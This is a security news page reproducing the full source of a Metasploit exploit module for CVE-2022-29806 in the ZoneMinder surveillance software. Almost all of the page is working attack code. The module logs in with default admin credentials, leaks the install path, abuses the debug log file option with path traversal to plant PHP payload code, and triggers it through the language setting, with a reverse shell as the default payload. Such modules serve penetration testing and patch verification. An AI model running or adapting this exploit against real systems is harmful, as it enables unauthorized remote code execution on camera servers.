Security
Headlines
HeadlinesLatestCVEs

Headline

ZoneMinder Language Settings Remote Code Execution

This Metasploit module exploits an arbitrary file write in the debug log file option chained with a path traversal in the language settings that leads to remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11

Packet Storm
#csrf#web#js#git#php#rce#perl#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ZoneMinder Language Settings Remote Code Execution',        'Description' => %q{          This module exploits arbitrary file write in debug log file option          chained with a path traversal in language settings that leads to a          remote code execution in ZoneMinder surveillance software versions          before 1.36.13 and before 1.37.11        },        'License' => MSF_LICENSE,        'Author' => [ 'krastanoel' ], # Discovery and exploit        'References' => [          [ 'CVE', '2022-29806' ],          [ 'URL', 'https://krastanoel.com/cve/2022-29806']        ],        'Platform' => ['php'],        'Privileged' => false,        'Arch' => ARCH_PHP,        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2022-04-27',        'DefaultTarget' => 0,        'DefaultOptions' => {          'Payload' => 'php/reverse_perl',          'Encoder' => 'php/base64'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),      OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),      OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])    ])  end  def check    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, '/index.php'),      'method' => 'GET'    )    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200    if res.body =~ /ZoneMinder/      csrf_magic = get_csrf_magic(res)      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, '/index.php'),        'method' => 'GET',        'keep_cookies' => true      )    else      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')    end    res.body.match(/v(1.\d+.\d+)/)    version = Regexp.last_match(1)    unless version      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')    end    version = Rex::Version.new(version)    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')    Exploit::CheckCode::Safe("Version Detected: #{version}")  rescue ::Rex::ConnectionError    return Exploit::CheckCode::Unknown('Could not connect to the web service')  end  def exploit    unless datastore['AutoCheck']      cookie_jar.clear      res = authenticate      fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}    end    vprint_status('Leak installation directory path')    random_path = rand_text_alphanumeric(6..15)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, '/index.php'),      'method' => 'GET',      'keep_cookies' => true,      'vars_get' => { 'view' => random_path }    )    fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, '/index.php'),      'method' => 'GET',      'keep_cookies' => true,      'vars_get' => { 'view' => 'options' }    )    csrf_magic = get_csrf_magic(res)    current_lang = res&.get_html_document&.at(      'select[@name="newConfig[ZM_LANG_DEFAULT]"]        option[@selected="selected"]'    )&.text    fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?    data = 'view=request&request=log&task=query&limit=10'    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_s,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?    res.body.match(/(\{"result":.*})/)    request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access    if request_log.key?(:rows) # Check for latest version key first v1.36.x      request_log_key = 'rows'    elsif request_log.key?(:logs)      request_log_key = 'logs'    else      fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')    end    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first    if request_log      path = request_log['File'].split('/')[0..-2].join('/')      vprint_good("Path: #{path}")    else      fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')    end    fname = "#{rand_text_alphanumeric(6..15)}.php"    traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join    shell = "#{traverse_path}tmp/#{fname}"    data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_s,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302    vprint_good("Shell: #{shell}")    p = %(<?php #{payload.encoded} ?>)    data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_s,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res    result = JSON.parse(res.body)['result']    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'    # trigger the shell    lang = shell.gsub(/\.php/, '')    data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_s,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302    # cleanup    data = Rack::Utils.parse_nested_query(data)    data['newConfig']['ZM_LANG_DEFAULT'] = current_lang    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_query,      'keep_cookies' => true    )    vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200    data['tab'] = 'logging'    data['newConfig']['ZM_LOG_DEBUG'] = 0    data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_query,      'keep_cookies' => true    )    vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302  rescue ::Rex::ConnectionError    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  end  private  def get_csrf_magic(res)    return if res.nil?    res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text  end  def authenticate(csrf_magic = nil)    username = datastore['USERNAME']    password = datastore['PASSWORD']    data = "action=login&view=login&username=#{username}&password=#{password}"    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'data' => data.to_s,      'keep_cookies' => true    })  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6